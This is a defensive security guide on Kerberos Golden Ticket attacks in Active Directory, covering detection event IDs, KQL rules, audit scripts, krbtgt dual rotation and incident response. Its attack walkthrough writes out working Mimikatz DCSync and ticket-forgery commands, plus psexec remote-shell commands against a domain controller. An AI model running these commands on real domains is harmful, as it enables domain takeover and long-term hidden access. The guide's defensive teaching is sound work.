In the Kerberoasting guide, we left the attacker at a critical moment: "Forty-seven minutes after initial access, the attacker had a Golden Ticket." This article explains what happened next — and why it's far worse than the original compromise.

A Golden Ticket is a forged Kerberos Ticket-Granting Ticket (TGT) created using the stolen password hash of the krbtgt account — the Active Directory service account that cryptographically signs every TGT in the domain. With that hash, attackers can issue themselves tickets claiming to be anyone, with any group memberships, valid for any duration. The domain controller trusts the ticket because the signature is genuine; it never verifies the claimed identity against Active Directory.

Changing user passwords makes no difference. Deleting user accounts makes no difference. Rebooting servers makes no difference. The attacker is not relying on credentials — they are the KDC. The only remediation is rotating the krbtgt account password twice, with at least 10 hours between rotations.

Golden Ticket attack flow: krbtgt hash extraction, TGT forgery with Mimikatz, pass-the-ticket persistence
Golden Ticket attack flow — once the krbtgt hash is extracted, the attacker becomes their own KDC and can forge TGTs with arbitrary identities and lifetimes.

Breach Scenario: The Ticket That Didn't Die

Continuation of the Kerberoasting scenario — composite based on real-world patterns

The cracked password was SQLSvc2019!. The service account was a member of Domain Admins — "easier than figuring out the minimum permissions."

With Domain Admin access, the attacker's next command took 14 seconds:

lsadump::dcsync /domain:corp.local /user:krbtgt

The krbtgt NTLM hash was now on their screen. They used it to forge a TGT valid for 10 years, claimed membership of Domain Admins, Enterprise Admins, and Schema Admins, and set the username to TotallyLegitAdmin — an account that did not exist in Active Directory.

Three months later, the security team discovered the breach, reset every privileged account password, disabled the SQLSvc2019 account, and ran a full EDR sweep. They missed one thing: they never rotated the krbtgt password.

Six months after initial access, the attacker authenticated to a domain controller as TotallyLegitAdmin — an account that had never existed — using a TGT signed with the krbtgt hash from the original compromise. The investigation team's first question: "How is a deleted account authenticating?"

What is a Golden Ticket?

A Golden Ticket is a forged Kerberos TGT crafted with the krbtgt account's password hash. It is catalogued as MITRE ATT&CK T1558.001. Unlike a real TGT — where the KDC queries Active Directory to verify the user's identity and group memberships before signing the ticket — a forged TGT uses the attacker's own data. The domain controller cannot distinguish a forged ticket from a legitimate one; both carry a valid cryptographic signature from the same key.

Attribute Value
MITRE ATT&CK T1558.001 — Steal or Forge Kerberos Tickets: Golden Ticket
Prerequisite krbtgt account NTLM hash or AES keys — requires Domain Admin or DCSync rights to obtain
What can be forged Any username (including non-existent), any group memberships, any ticket lifetime (default: 10 years in Mimikatz)
Detection difficulty 🟠 Hard — forged tickets use the legitimate Kerberos protocol; requires deep log correlation and anomaly detection
Persistence Survives password resets, account deletions, system reboots, and security tool deployments — until krbtgt is rotated twice
Common tools Mimikatz (kerberos::golden), Rubeus (golden /createnetonly), Impacket (ticketer.py)
Five Eyes reference NSA/CISA Advisory AA22-335A — listed as a top persistence technique against Active Directory environments

How the Attack Works

A Golden Ticket attack is a post-exploitation technique — the attacker must already hold Domain Admin or DCSync rights. It is the logical sequel to Kerberoasting, DCSync, or ntds.dit extraction: once an attacker reaches domain-level privilege, they immediately try to obtain the krbtgt hash for long-term persistence.

Step 1 — Obtain the krbtgt Hash

Three primary methods, each requiring different privilege levels:

Method Privilege Required Command Time to Hash
DCSync Directory Replication rights (default: Domain Admins, Enterprise Admins, Domain Controllers) lsadump::dcsync /user:krbtgt <30 seconds, no DC logon required
LSASS memory dump on DC Local admin on a Domain Controller sekurlsa::logonpasswords after dumping lsass.exe <2 minutes, requires physical/RDP DC access
ntds.dit extraction Local admin on a DC or access to DC backup Shadow copy + secretsdump.py 5–15 minutes, entire domain credential database

Step 2 — Gather Domain Information

# Information needed to forge the ticket
$DomainSID = (Get-ADDomain).DomainSID.Value   # S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX
$Domain    = (Get-ADDomain).DNSRoot           # corp.local

# Group RIDs to claim in the forged ticket
# 512 = Domain Admins, 513 = Domain Users, 519 = Enterprise Admins, 520 = Group Policy Creator Owners
# 518 = Schema Admins, 572 = Denied RODC Password Replication Group

Step 3 — Forge the Golden Ticket

# Mimikatz — forge a TGT valid for 10 years with Domain Admin + Enterprise Admin membership
kerberos::golden `
    /user:TotallyLegitAdmin `
    /domain:corp.local `
    /sid:S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX `
    /krbtgt:<ntlm_hash_here> `
    /id:500 `
    /groups:512,519,518,513 `
    /startoffset:0 `
    /endin:525600 `
    /renewmax:10080 `
    /ptt              # pass-the-ticket: inject directly into current session

Step 4 — Access Any Resource in the Domain

With the forged TGT injected into the session (/ptt), the attacker has authenticated access to every domain resource — using an account that does not exist in Active Directory:

# Access domain controller administrative share
dir \\DC01\C$

# Remote shell on domain controller
psexec \\DC01 cmd

# Query entire AD with Domain Admin privileges
Get-ADUser -Filter * -Server DC01

# Access file servers, SQL, Exchange — anything in the domain
# The ticket claims Domain Admin + Enterprise Admin membership — no AD lookup happens

Step 5 — Persist Across All Remediation Attempts

What makes Golden Tickets uniquely dangerous as a persistence mechanism:

  • Security team resets the compromised service account password → attacker's TGT is unaffected
  • Security team deletes the fake account → attacker's TGT is unaffected (DCs trust the signature, not the account's existence)
  • Security team deploys EDR and runs full sweep → existing TGT survives in memory
  • Attacker's workstation reboots → save TGT to disk first, reload after reboot
  • Six months later: load the saved TGT file and resume access — as long as krbtgt was never rotated

Forest Persistence via Trust Tickets

In multi-forest environments, attackers can extend Golden Tickets beyond the compromised domain. By combining a forged TGT with the inter-realm trust account hash, they create a Trust Ticket that grants access to every domain in the forest. A single domain compromise in a multi-domain forest can lead to enterprise-wide persistence. This is why krbtgt rotation must be performed in every child domain during incident response.

The krbtgt Account: Why It's the Master Key

The krbtgt account (Kerberos Ticket Granting Ticket service account) is created automatically when Active Directory is installed. Its password hash is used by every Domain Controller as the signing key for all TGTs issued in the domain. It is the single most critical secret in an Active Directory domain.

Property Detail Security Implication
Password changed by Only Active Directory itself (via the KDC service), or explicitly by an administrator using a reset Never set by a human — never expires by default — many environments have never rotated it since AD installation
Password history AD stores the previous krbtgt password in addition to the current one A single rotation is not enough — the old hash remains usable until a second rotation removes it from history
Domain role Signs ALL Kerberos TGTs issued in the domain Compromise = ability to forge any TGT, for any user, with any privilege, indefinitely
Typical password age in the wild Survey data (Microsoft/various): median enterprise krbtgt password age is 3–7 years; 15–25% of environments have a password set at AD installation and never rotated Any attacker who obtained the krbtgt hash via a historical breach (backup theft, contractor access, old pentest) may still hold a valid Golden Ticket
Read-Only Domain Controllers (RODC) RODCs use a separate krbtgt_xxxxx account per RODC RODC compromise is isolated — compromise of the writable DC krbtgt is not required to forge tickets for RODC-cached accounts

Golden Ticket vs Silver Ticket

Golden and Silver tickets are often confused. The key difference is scope: Golden Tickets are domain-wide; Silver Tickets target a single service.

Property Golden Ticket Silver Ticket
Ticket type TGT (Ticket-Granting Ticket) TGS (Ticket-Granting Service — service ticket)
Signed with krbtgt NTLM hash (or AES keys) Target service account NTLM hash
Scope Domain-wide — access ANY service in the domain Single service — e.g., CIFS on one server
KDC involvement No KDC contact needed after forging (self-contained) No KDC contact at all — ticket goes directly to service
Detectable via logs Partial — 4624 without 4768, anomalous 4769, 4672 for fake users Harder — no KDC events; only local service access logs
Remediation Rotate krbtgt twice Reset compromised service account password
Privilege required to forge krbtgt hash (requires Domain Admin / DCSync) Service account hash (obtainable via Kerberoasting or credential theft)
Kerberos Golden and Silver Ticket comparison and differences.
Kerberos Golden and Silver Ticket comparison and differences.

Find Your Exposure: krbtgt Password Age Audit

Check how long it has been since your krbtgt password was last rotated. If it has never been rotated — or was rotated years ago — any attacker who obtained the hash during that period may still hold a valid Golden Ticket.

# Audit krbtgt password age across all domains in the forest
Get-ADForest | ForEach-Object { $_.Domains } | ForEach-Object {
    $Domain  = $_
    $Krbtgt  = Get-ADUser 'krbtgt' -Properties PasswordLastSet -Server $Domain
    $Age     = if ($Krbtgt.PasswordLastSet) {
        [int](New-TimeSpan -Start $Krbtgt.PasswordLastSet).TotalDays
    } else { 9999 }
    $Risk    = switch -Regex ($Age) {
        '^[0-9]$|^[0-9][0-9]$|^1[0-7][0-9]$' { 'LOW ✅' }   # < 180 days
        '^(1[8-9][0-9]|[2-9][0-9]{2}|[1-2]\d{3})$' { 'MEDIUM ⚠️' }  # 180-365 days
        default { 'HIGH 🔴' }                                  # > 365 days
    }
    [PSCustomObject]@{
        Domain       = $Domain
        PasswordAge  = "$Age days"
        LastSet      = $Krbtgt.PasswordLastSet
        Risk         = $Risk
    }
} | Format-Table -AutoSize

Full Golden Ticket Detection Script

The Golden Ticket Detection Script performs comprehensive analysis across five phases: krbtgt password age, anomalous TGT request patterns, missing TGT correlation, service ticket anomalies, and privileged access outliers. Runs as a scheduled task against all domain controllers.

Detection: Event IDs and Anomaly Patterns

Golden Tickets are detectable, but detection requires Kerberos audit logging enabled on all Domain Controllers and an active correlation between multiple event IDs. No single event confirms a Golden Ticket — the signal is in the combination.

Enable Required Auditing

Configure via GPO on the Default Domain Controllers Policy:

  • Computer Configuration → Advanced Audit Policy → Account Logon
    • Audit Kerberos Authentication Service — Success, Failure
    • Audit Kerberos Service Ticket Operations — Success
  • Audit Logon Events — Success, Failure (for Event ID 4624 correlation)
  • Audit Special Logon — Success (for Event ID 4672)

Detection Indicators by Event ID

Event ID Type Golden Ticket Indicator False Positive Rate
4768 TGT request (AS-REQ) Unusual encryption type (0x17 RC4 when AES enforced), excessively long ticket lifetime requested, TGT request for a non-existent or recently deleted account name Low for RC4 anomaly; Medium for lifetime
4769 Service ticket request (TGS-REQ) Service ticket request from an account that has no corresponding 4768 TGT request — attacker used pre-forged TGT and skipped the KDC Medium — correlate with 4624 to confirm
4624 Successful logon Logon event with no preceding 4768 — this is the most reliable single indicator. A legitimate user always requests a TGT first (unless they have a cached TGT from a recent session) Medium — tune for time window and exclude machine accounts
4672 Special privileges assigned Special privilege (Domain Admin, SeDebugPrivilege) assigned to an account that does not exist in AD — the clearest forensic indicator of a Golden Ticket in use Very low — non-existent account with DA privileges is unambiguous
4776 NTLM authentication NTLM logon for an account immediately followed by Kerberos ticket requests — attacker may be pivoting between authentication methods High — correlate with other indicators only

SIEM Detection Rule (KQL / Microsoft Sentinel)

// Golden Ticket Detection: 4624 logon without preceding 4768 TGT request
// Excludes machine accounts and known service scenarios
let lookback = 30min;
let LogonEvents = SecurityEvent
    | where EventID == 4624
    | where AuthenticationPackageName == "Kerberos"
    | where AccountType == "User"
    | where Account !endswith "$"        // exclude machine accounts
    | project LogonTime = TimeGenerated, Account, IpAddress, Computer;
let TGTRequests = SecurityEvent
    | where EventID == 4768
    | where AccountType == "User"
    | project TGTTime = TimeGenerated, Account;
LogonEvents
| join kind=leftanti (
    TGTRequests
    | where TGTTime between (ago(lookback + 1h) .. now())
) on Account
| where LogonTime > ago(lookback)
| project LogonTime, Account, IpAddress, Computer
| order by LogonTime desc

// Separately: alert on Event ID 4672 for accounts not in AD
SecurityEvent
| where EventID == 4672
| where AccountType == "User"
| where Account !endswith "$"
| join kind=leftanti (
    // Reference table of valid AD accounts
    IdentityInfo | where Type == "Account" | project Account = AccountUPN
) on Account
| project TimeGenerated, Account, Computer, PrivilegeList
| order by TimeGenerated desc

krbtgt Password Age Alert

# Add to your daily monitoring — alert if krbtgt age exceeds 180 days
$Krbtgt = Get-ADUser 'krbtgt' -Properties PasswordLastSet
$AgeDays = [int](New-TimeSpan -Start $Krbtgt.PasswordLastSet).TotalDays
if ($AgeDays -gt 180) {
    Write-Warning "krbtgt password age: $AgeDays days (threshold: 180). Rotation required."
    # Send to SIEM / alert pipeline
}

Prevention: 5 Controls Ranked by Effectiveness

# Control Effectiveness What It Stops
1 Regular krbtgt dual rotation (every 180 days) 🟢 Maximum — limits the window during which any stolen hash remains useful Long-lived Golden Ticket persistence; reduces breach window to ≤180 days
2 Protected Users security group for privileged accounts 🟢 High — prevents RC4 TGT issuance and credential caching, forcing attackers to use AES RC4 Golden Tickets; NTLM fallback; credential caching on non-DCs
3 Authentication Policy Silos for Tier 0 🟡 High — restricts where TGTs for privileged accounts can be used Lateral movement via Golden Ticket to non-authorised systems; limits blast radius even if a ticket is forged
4 PAW-only DC access (Tier 0 enforcement) 🟡 High — prevents the LSASS dump and DCSync paths that extract the krbtgt hash krbtgt hash extraction via LSASS dump on DCs; reduces initial compromise paths
5 Windows Credential Guard 🟡 Medium–High — prevents LSASS from being accessed by non-system processes LSASS memory dumping on endpoints and member servers; does not protect DCs directly

Protected Users Security Group

Adding privileged accounts to the Protected Users group enforces several Kerberos restrictions that directly reduce Golden Ticket viability:

  • TGTs issued only with AES128 or AES256 encryption — no RC4
  • TGT lifetime reduced to 4 hours (not renewable)
  • Credentials are not cached on hosts the user authenticates to
  • No NTLM, Digest, or CredSSP authentication (Kerberos only)
# Add all Domain Admins to Protected Users
Get-ADGroupMember 'Domain Admins' -Recursive |
    Where-Object { $_.objectClass -eq 'user' } |
    ForEach-Object { Add-ADGroupMember 'Protected Users' $_.DistinguishedName }

# Verify
Get-ADGroupMember 'Protected Users' | Select-Object Name, SamAccountName

Test Protected Users Before Broad Rollout

Protected Users is not compatible with Kerberos constrained delegation, DES or RC4 authentication, or NTLM fallback scenarios. Test in a pilot group first. Service accounts that authenticate to older systems may break. See Microsoft documentation for the full incompatibility list.

krbtgt Dual Rotation: The Only True Remediation

Whether rotating proactively (every 180 days) or as an incident response action, the procedure is the same. The reason two rotations are required is rooted in how Active Directory handles the krbtgt password history: the domain retains the previous password so that DCs that haven't yet replicated the new password can still validate in-flight tickets. An attacker holding the old hash exploits exactly this window.

Rotation What It Does Effect on Golden Tickets
First rotation Generates a new krbtgt password. The old password becomes "previous" in password history. Golden Tickets using the now-old hash will expire within the current max ticket lifetime (up to 10 hours). New forgeries with the old hash still work until expiry.
Wait ≥ 10 hours All legitimate TGTs issued before the first rotation expire naturally (max TGT lifetime = 10 hours by default). Existing forged tickets using the old hash also expire. No new forgeries possible with old hash if DCs have the new one.
Second rotation Generates another new password. The previous password (old hash from rotation 1) is overwritten from history entirely. The old hash is permanently unusable. Any Golden Ticket forged before rotation 1 is now permanently invalid. This is the definitive remediation step.

Pre-Rotation Checklist

  • Verify AD replication is healthy on all DCs: repadmin /replsummary
  • Notify application and server teams — services with cached Kerberos tickets may require restart within 10 hours
  • Confirm no DCs are in maintenance mode or offline
  • Document current krbtgt key version number before rotating
  • Schedule second rotation at least 10 hours after the first

Rotation Script

Verify Rotation Succeeded

# Confirm new key version on all DCs after rotation
$Expected = (Get-ADUser 'krbtgt' -Properties 'msDS-KeyVersionNumber' -Server (Get-ADDomain).PDCEmulator).'msDS-KeyVersionNumber'
Get-ADDomainController -Filter * | ForEach-Object {
    $V = (Get-ADUser 'krbtgt' -Properties 'msDS-KeyVersionNumber' -Server $_.HostName).'msDS-KeyVersionNumber'
    [PSCustomObject]@{
        DC      = $_.HostName
        Version = $V
        Status  = if ($V -eq $Expected) { '✅ Replicated' } else { '⚠️ Pending' }
    }
} | Format-Table -AutoSize

Incident Response: Golden Ticket Detected

If detection fires on Golden Ticket indicators, assume the attacker has had persistent access for an unknown duration — potentially since the last time the krbtgt password was set. Check your krbtgt password age; that is the maximum possible breach window.

Phase Timeframe Actions
Contain 0–30 min
  • Identify the source IP and account name from Event ID 4624/4672 anomalies
  • If account does not exist in AD, confirm Golden Ticket — escalate immediately
  • Isolate the source workstation from the network
  • Block the source IP at the perimeter if external
Assess 30 min–4 hrs
  • Review krbtgt password age — determines breach window
  • Query all DCs for the past 72 hours of Event IDs 4624, 4672, 4768, 4769 for the fake account name
  • Identify all resources accessed by the forged ticket (Event IDs 4624 source IPs, share access logs)
  • Check for scheduled tasks, services, or WMI subscriptions created by the attacker for secondary persistence
  • Check all DCs for signs of DCSync (Event ID 4662 with replication rights)
Remediate 4–8 hrs
  • Rotate krbtgt password — FIRST rotation. Do this immediately; do not wait for full investigation completion
  • Reset all Tier 0 account passwords (Domain Admins, Enterprise Admins, Schema Admins, DSRM)
  • Remove any secondary persistence mechanisms found in assessment
  • Force klist purge on all domain-joined systems: klist purge
  • Wait ≥ 10 hours, monitor for authentication failures
  • Rotate krbtgt password — SECOND rotation
Recover 8–72 hrs
  • Rebuild any DCs suspected of compromise from clean media
  • Audit and rotate trust account passwords in all child domains and forest trusts
  • Review all Group Policy Objects and scheduled tasks for attacker-added persistence
  • Implement Authentication Policy Silos to constrain Tier 0 ticket usage going forward
  • Enable Credential Guard on remaining vulnerable systems
  • Document full timeline and update krbtgt rotation schedule

When to Declare a Full Forest Compromise

Escalate to full forest recovery if any of these are confirmed:

  • The Golden Ticket was used to access any Domain Controller
  • The attacker used the ticket to run DCSync or access ntds.dit — all domain credential hashes are compromised
  • Evidence of inter-forest lateral movement via trust tickets
  • New Domain Controllers or trust relationships were added without a change management record

Forest recovery requires Planning for Compromise (PfC) procedures and goes significantly beyond krbtgt rotation.

Compliance Mapping

Framework Relevant Control How This Guide Addresses It
MITRE ATT&CK T1558.001 — Golden Ticket Full detection, prevention, and response coverage
NSA/CISA Five Eyes (AA22-335A) Golden Ticket listed as a top persistence technique against AD krbtgt rotation cadence, Protected Users, PAW-only DC access
CIS Controls v8 (Control 4.7) Manage default accounts — rotate service account credentials on a defined schedule 180-day krbtgt rotation policy satisfies this requirement
NIST SP 800-53 (IA-5) Authenticator management — rotation and complexity for privileged service accounts Automated krbtgt rotation with 180-day maximum age
ASD Essential Eight (Restrict Admin Privileges) Privileged accounts must use dedicated workstations and be controlled to minimum necessary PAW-only DC access (Prevention control #4); Protected Users group
ISO 27001:2022 (A.8.5) Secure authentication — management of privileged account credentials krbtgt rotation policy + audit logging + incident response procedures

Maintenance Schedule

Golden Ticket controls integrate into the AD Housekeeping Tasks schedule. The semi-annual krbtgt dual rotation is the most critical operational item.

Frequency Task What to Check
Daily Monitor for Golden Ticket anomalies SIEM alert on Event ID 4624 without 4768 for user accounts; 4672 for non-existent account names; 4768 RC4 anomalies
Weekly Review krbtgt key version number Verify the key version matches across all DCs — a mismatch indicates a failed rotation or replication issue
Monthly Audit krbtgt password age Query password age; flag if >150 days (pre-warning before 180-day threshold); confirm Protected Users membership for Tier 0 accounts
Semi-Annual krbtgt Dual Rotation Execute the two-rotation procedure using the detection script as a pre-check and the rotation script above. Document rotation timestamps and new key version number. Rotate in all domains.

Golden Ticket Detection Script

The script below performs comprehensive five-phase detection analysis against all Domain Controllers. Run it as a baseline and schedule it as a weekly task.

Resources & Related Articles

EguibarIT Guides

  • Kerberoasting Guide — The attack that most commonly precedes a Golden Ticket: service account hash cracking, detection, and gMSA migration
  • Golden Ticket Detection Script — Full five-phase PowerShell analysis: krbtgt age, anomalous TGT patterns, 4624/4768 correlation, 4672 outliers
  • DCSync Detection Script — Detect the attack most commonly used to extract the krbtgt hash (Event ID 4662 with replication rights)
  • 17 Active Directory Attacks: Five Eyes Guide — Golden Ticket in context with DCSync, Silver Ticket, Skeleton Key, and 13 other NSA/CISA-documented techniques
  • Credential Theft Defenses — Credential Guard, Protected Users, LSASS protection, and Kerberos hardening baselines that reduce the krbtgt extraction attack surface
  • Planning for Compromise — Forest recovery procedures for when krbtgt compromise escalates to full forest compromise
  • AD Housekeeping Tasks — Semi-annual krbtgt dual rotation in the operational maintenance schedule

External References